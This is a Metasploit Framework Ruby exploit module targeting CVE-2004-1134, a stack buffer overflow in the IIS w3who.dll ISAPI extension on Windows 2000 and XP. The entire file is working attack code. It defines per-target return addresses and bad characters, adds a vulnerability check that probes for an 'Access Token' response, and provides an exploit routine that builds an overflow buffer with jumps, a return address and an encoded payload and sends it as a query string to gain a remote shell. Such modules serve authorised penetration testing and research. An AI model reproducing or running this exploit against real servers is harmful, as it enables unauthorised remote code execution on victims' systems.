##
# $Id: w3who_query.rb 4498 2007-03-01 08:21:36Z mmiller $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Isapi::IIS_W3WHO_Overflow < Msf::Exploit::Remote

	include Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the w3who.dll ISAPI
				application. This vulnerability was discovered Nicolas
				Gregoire and this code has been successfully tested against
				Windows 2000 and Windows XP (SP2). When exploiting Windows
				XP, the payload must call RevertToSelf before it will be
				able to spawn a command shell.
					
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 4498 $',
			'References'     =>
				[
					[ 'OSVDB', '12258'],
					[ 'CVE', '2004-1134'],
					[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'],
					[ 'MIL', '32'],
					[ 'BID', '11820'],

				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 632,
					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
					'MinNops'  => 128,
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [  48,  0x01169f4a ] }], # pop, pop, ret magic
					['Windows 2000 RESKIT DLL [Windows XP]',   { 'Rets' => [ 748,  0x10019f4a ] }], # pop, pop, ret magic
				],
			'DisclosureDate' => 'Dec 6 2004'))
			
			register_options(
				[
					OptString.new('URL', [ true,  "The path to w3who.dll", "/scripts/w3who.dll" ]),
				], self.class)
	end

	# Identify the target based on the IIS version
	def autofilter
		res = send_request_raw({
			'uri'   => datastore['URL']
		}, -1)
		
		# Was a vulnerable system detected?	
		if (res and res.body =~ /Access Token/)
			case res.headers['Server']
			when /5\.1/
				datastore['TARGET'] = 1
			else
				datastore['TARGET'] = 0
			end
			
			return true
		end
		
		# Not vulnerable
		return false
	end

	def check
		res = send_request_raw({
			'uri'   => datastore['URL']
		}, -1)
		
		if (res and res.body =~ /Access Token/)
			return Exploit::CheckCode::Vulnerable
		end
		
		return Exploit::CheckCode::Safe
	end

	def exploit

		buf = rand_text_english(8192, payload_badchars)
		buf[target['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
		buf[target['Rets'][0] - 0, 4] = [ target['Rets'][1] ].pack('V')
		buf[target['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
		buf[target['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded
	
		print_status("Sending request...")
		r = send_request_raw({
			'uri'   => datastore['URL'],
			'query' => buf
		}, 5)

		handler
	end

end
end	
